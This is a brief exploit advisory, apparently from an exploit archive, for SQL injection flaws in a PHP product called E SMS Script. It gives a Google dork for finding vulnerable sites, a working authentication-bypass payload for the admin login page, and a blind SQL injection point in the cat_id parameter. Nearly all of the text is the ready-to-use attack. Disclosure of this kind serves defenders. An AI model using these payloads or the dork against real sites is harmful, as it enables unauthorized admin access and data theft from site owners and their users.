E SMS Script SQL Injection

`# E SMS Script Multiple SQL Injection Vulnerability  
# By cr4wl3r http://bastardlabs.info  
# http://bastardlabs.info/exploits/E_SMS_Script.txt  
# Good Music: http://goo.gl/TLkEs :)  
# Script: http://www.esmsscript.com/index.php?option=com_content&view=article&id=22&Itemid=41  
# Dork: inurl:"smscollection.php?cat_id="  
  
Proof of concept:  
  
Auth Bypass  
  
http://bastardlabs/admin/adminlogin.php  
Username: cr4wl3r  
Password: 'or'1=1  
  
Blind SQLi  
  
http://bastardlabs/smscollection.php?cat_id=[Blind SQLi]  
`